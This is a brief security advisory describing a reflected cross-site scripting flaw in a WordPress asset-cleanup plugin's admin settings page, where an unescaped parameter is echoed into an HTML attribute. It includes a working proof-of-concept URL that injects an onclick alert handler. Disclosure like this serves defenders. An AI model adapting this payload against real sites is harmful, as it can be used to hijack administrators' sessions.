The plugin does not escape the wpacu_selected_sub_tab_area parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting issue
https://exampe.com/wp-admin/admin.php?page=wpassetcleanup_settings&wpacu_selected_sub_tab_area=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22